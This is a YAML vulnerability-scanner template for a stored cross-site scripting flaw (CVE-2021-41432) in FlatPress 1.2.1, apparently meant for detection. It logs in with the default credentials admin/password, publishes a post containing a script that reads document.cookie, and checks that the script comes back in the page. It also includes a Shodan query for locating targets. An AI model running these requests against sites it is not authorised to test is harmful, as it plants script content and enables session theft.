id: CVE-2021-41432

info:
  name: FlatPress 1.2.1 - Cross-site scripting (XSS)
  author: arafatansari
  severity: medium
  description: |
    A stored cross-site scripting (XSS) vulnerability exists in FlatPress 1.2.1 that allows for arbitrary execution of JavaScript commands through blog content.
  reference:
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-41432
  metadata:
    shodan-query: http.html:"Flatpress"
    verified: "true"
  tags: xss,cve,2021

requests:
  - raw:
      - |
        POST /login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary=----WebKitFormBoundarykGJmx9vKsePrMkVp

        ------WebKitFormBoundarykGJmx9vKsePrMkVp
        Content-Disposition: form-data; name="user"

        admin
        ------WebKitFormBoundarykGJmx9vKsePrMkVp
        Content-Disposition: form-data; name="pass"

        password
        ------WebKitFormBoundarykGJmx9vKsePrMkVp
        Content-Disposition: form-data; name="submit"

        Login
        ------WebKitFormBoundarykGJmx9vKsePrMkVp--

      - |
        POST /admin.php?p=entry&action=write HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        _wpnonce=4150bd5fe5&_wp_http_referer=%2Fadmin.php%3Fp%3Dentry%26action%3Dwrite&subject=abcd&timestamp=&entry=&attachselect=--&imageselect=--&content=%3Cscript%3Ealert%28document.cookie%29%3C%2Fscript%3E&save=Publish

      - |
        GET /index.php/2022/10/10/abcd/ HTTP/1.1
        Host: {{Hostname}}

    cookie-reuse: true
    redirects: true
    max-redirects: 2
    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200

      - type: word
        words:
          - "<script>alert(document.cookie)</script>"
        condition: and